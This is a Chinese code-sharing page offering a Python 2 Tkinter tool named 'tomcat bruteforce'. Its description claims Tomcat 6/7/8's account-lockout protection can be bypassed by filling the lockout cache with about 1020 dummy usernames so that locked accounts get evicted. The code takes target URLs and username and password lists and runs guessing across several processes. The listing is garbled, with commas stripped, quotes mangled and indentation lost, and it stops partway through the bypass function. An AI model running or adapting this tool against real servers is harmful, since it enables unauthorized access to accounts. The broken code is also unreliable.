资源简介
tomcat 6/7/8 自带防暴力破解机制,通过塞满cache,挤出已锁定账号,实现完美绕过。
代码片段和文件信息
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
import threading
import Queue as QQueue
import time
import base64
from datetime import datetime
from Tkinter import *
from multiprocessing import *
import os
urls=QQueue.Queue()
passwords=QQueue.Queue()
usernames=QQueue.Queue()
results = QQueue.Queue()
cache_uu = QQueue.Queue()
cache_pp = QQueue.Queue()
for i in range(1 1020):
cache_uu.put(i)
root = Tk()
root.title(‘tomcat bruteforce‘)
Label(root text = ‘url \neg:http://192.168.1.1:8080/‘).grid(row = 0 column = 0)
url_text = Text(root width = 40) #url
url_text.grid(row = 1 column = 0)
url_text.insert(1.0 ‘http://192.168.184.8:8080/‘)
process_num = StringVar()
Label(root text = ‘username‘).grid(row = 0 column = 1)
username_text = Text(root width = 30) #username
username_text.grid(row = 1 column = 1)
Label(root text = ‘password‘).grid(row = 0 column = 2)
password_text = Text(root width = 30) #password
password_text.grid(row = 1 column = 2)
result_text = Text(root)
result_text.grid(row = 3 columnspan = 3 sticky = EW)
sb = Scrollbar(root)
sb.grid(row = 3column = 3 sticky = NS)
result_text[‘yscrollcommand‘] = sb.set
sb[‘command‘] = result_text.yview()
Label(root text = ‘process_number:‘).grid(row = 2 column = 0 sticky = E)
entry = Entry(root textvariable = process_num)
entry.grid(row = 2 column = 1 sticky = W padx = 10)
process_num.set(8)
timev = StringVar()
time_entry = Entry(root textvariable = timev)
time_entry.grid(row = 2 column = 0 padx = 10 sticky = W)
timev.set(‘time‘)
def BruteForce():
begin_time = datetime.now()
result_text.delete(1.0 END)
urls.queue.clear()
usernames.queue.clear()
passwords.queue.clear()
for url in url_text.get(1.0 END).split(‘\n‘):
if url:
urls.put(url)
for username in username_text.get(1.0 END).split(‘\n‘):
if username:
usernames.put(username)
usernames.put(‘signal-user‘)
for password in password_text.get(1.0 END).split(‘\n‘):
if password:
passwords.put(password)
passwords.put(‘‘)
passwords.put(‘signal-pass‘)
process_number = int(process_num.get())
weakpass(process_number)
result_text.insert(END ‘\n‘)
while not results.empty():
result = results.get()
result = result + ‘\n‘
print type(result_text)
result_text.insert(1.0 result)
result_text.insert(INSERT ‘ending‘)
end_time = datetime.now()
timev.set(‘ time: ‘ + str((end_time - begin_time).seconds) + ‘ seconds‘)
Button(root text = ‘bruteforce‘ command = BruteForce).grid(row = 2 column = 2)
def by_pass(url cache_u lock):
while True:
lock.acquire()
if not cache_u.empty():
cache_user = str(cache_u.get())
print ‘cache_u size : %d‘% cache_u.qsize()
lock.release()
评论
共有 条评论